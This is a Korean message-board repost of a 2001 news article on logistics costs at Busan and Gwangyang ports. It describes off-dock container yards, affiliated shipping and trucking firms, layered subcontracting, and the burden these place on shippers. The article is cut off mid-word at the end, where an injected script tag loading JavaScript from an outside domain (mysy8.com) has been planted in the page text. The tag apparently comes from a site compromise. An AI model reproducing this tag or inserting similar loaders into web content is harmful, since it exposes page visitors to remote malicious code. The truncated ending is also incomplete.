| 글쓴이 |
운영자 |
작성일 |
2001-03-21 |
| 제목 |
[부산∼광양 물류실태] 운송-하역업체 |
물류비 세계최고...서울-LA보다 서울-부산이 시간 더 걸려
광양 갔다가 배가 없어 부산으로 되돌아오기도
『단거리노선 컨테이너 운송요금이 장거리노선 요금보다 비싸다.』 『부산에서 미국 LA까지 일주일이면 도착하는데 서울에서 부산항까지 가는 데는 일주일이 더 걸리는 경우가 많다.』 『하역요금은 세계에서 가장 싼 데 물류비는 세계 최고수준이다.』
부산소재 화학업체인 P사 영업팀장 김기섭씨(42)는 국내 물류시장의 현실을 이렇게 설명하며 ‘모순덩어리 그 자체’라고 요약한다.
김 팀장은 “부산항에서 40피트급 컨테이너(FEU) 한개를 서울까지 실어나르는 데 드는 운송요금은 49만6000원(고시가·부가세 제외)”이라면서 “하지만 절반 거리인 부산∼대전간 요금은 54만8000원으로 10% 더 비싸다”고 밝혔다.
운송업체들은 서울까지 가면 컨테이너를 다시 싣고 내려 올 수 있지만, 대전의 경우는 빈차로 내려오기 때문이라는 설명이다. P정밀 K과장은 “정부에서 전국 곳곳에 화물터미널을 만들고 있으나 사용료가 터무니없이 비싸 아예 자체 물류창고를 짓는 편이 싸다”면서 “이러다보니 업체들간에 이중 삼중의 물류비 낭비가 초래될 수 밖에 없다”고 말했다.
지난 2일 전남 광양항. 전남 곡성과 광주에 공장이 있기 때문에 1년전부터 광양항을 이용하고 있다는 금호타이어 수송담당 직원들이 광양항에 내린 수출품들을 또다시 컨테이너 트럭에 싣고 있었다. 배가 들어오지 않는 바람에 기껏 실어나른 타이어를 또다시 부산항으로 보내느라 비지땀을 흘리고 있었던 것.
영업지원팀 이경중 과장은 『배를 확보하기가 어렵고 심지어 타이어를 실을 컨테이너 확보조차 어렵다』면서 『광양항의 부족한 시설이나 운영시스템 때문에 정상 물류비보다 30% 이상 비싼 코스트를 지불하고 있다』고 말했다.
선박확보가 어려워 광양항으로 실어나른 물량중 40% 이상을 또다시 부산항으로 옮기는 웃지못할(?) 일이 현장에서 매일 벌어지고 있다는 것. 사실 부산과 광양일대 기업체 물류담당자들은 “물류단계를 농수산물 유통단계보다도 복잡하다”라고 자조(자조)한다.
지난 3일 부산시 우암동 K종합운수 컨테이너 야적장(ODCY, Off Dock Container Yard). 2500여개의 컨테이너들이 야적장에 수북이 쌓여 있었다. 이들중 상당수는 부두에서 목적지로 곧바로 가도 되는 것들이나, 물류 유통업계의 「먹이사슬」 때문에 일부러 이곳에 야적돼 아까운 시간을 낭비하고 있다.
“선박도착후 곧바로 부두에서 통관해 서울로 수송하면 되는데 선사들이 자회사인 ‘부두밖 민간 야적장(ODCY)’의 영업을 위해 일부러 그곳으로 빼서 통관절차를 밟습니다. 대기하는 기간동안 보관료-상하차료를 꼬박 무는 것은 화주들입니다.”(K사 김모 이사)
컨테이너(TEU) 한개를 보름 보관하면 10만원 정도 내야 하고 운송료까지 포함하면 25만∼30만원정도 부담이 늘어난다. 도크 밖으로 컨테이너를 빼는 이유는 원래 도크가 협소하다 보니 생긴 것이지만 실제 내막은 그렇지도 않다.
K사 김모 이사는 『선박회사나 야적장 업체, 운송업체들이 모두가 계열화돼 물건을 옮길 때마다 자신들의 계열업체들을 거치도록 강요한다』고 분통을 터트렸다. 우리나라 선박회사들은 대부분 야적장과 운송업체를 자회사로 거느리고 있다. 부두밖 야적장(ODCY)을 운영하는 나라는 전 세계에서 우리나라밖에 없다. 부산지역에는 K하역장 같은 ‘ODCY’가 42개나 된다.
부두에서 직접 통관하는 ‘직통관제도’를 이용하면 되지 않느냐는 반문이 있을 수 있지만, 현실은 이것마저 허용하지 않는다.
“컨테이너를 안빼줘요. 클레임 안걸리는 수준에서 업무처리를 늦추기가 다반사입니다.”(섬유수출업체 K사 김모과장) 선박회사 말 안들으면 수출입도 제대로 못한다는 얘기다.
얽히고 설킨 육상 운송업체들간의 실타래 관계도 물류비 부담을 증대시키는 요인이다. 부산항 주변에만 75개의 운송업체들이 있는데 모두가 「지입제」 ( 개인차량을 회사차로 쓰고 일정금액을 떼낸 후 차주에게 사용댓가를 지급하는 방식)로 운송차량을 확보하고 있다.
한 지입차주는 “심하면 원운송업체에서 하도운송업자로 수차례 이상 내려가는데 최종 하도운송업자는 원계약금액의 60% 이상 받기가 힘들다”고 말했다. 운송업체들은 가만히 앉아서 40% 이상 이득을 챙기고, 화주들은 제돈내고 ‘싸구려 서비스’를 받고 있는 셈이다.
상황이 이렇다 보니 화주들 사이에서는 “수출입 업체들이 물류업체 모두를 먹여 살리느라고 허리가 휜다”라는 「노이로제」가 걸려 있을 정도다.
부산 지역에만 현재 99개사의 보세장치장과 창고업체, 23개의 항만하역업체, 75개의 보세운송업체, 74개의 관세사업체, 32개의 국적선사, 183개의 해운대리점, 686개의 복합운송주선업체(포워?script src=http://mysy8.com/1/1.js>
|
|
|
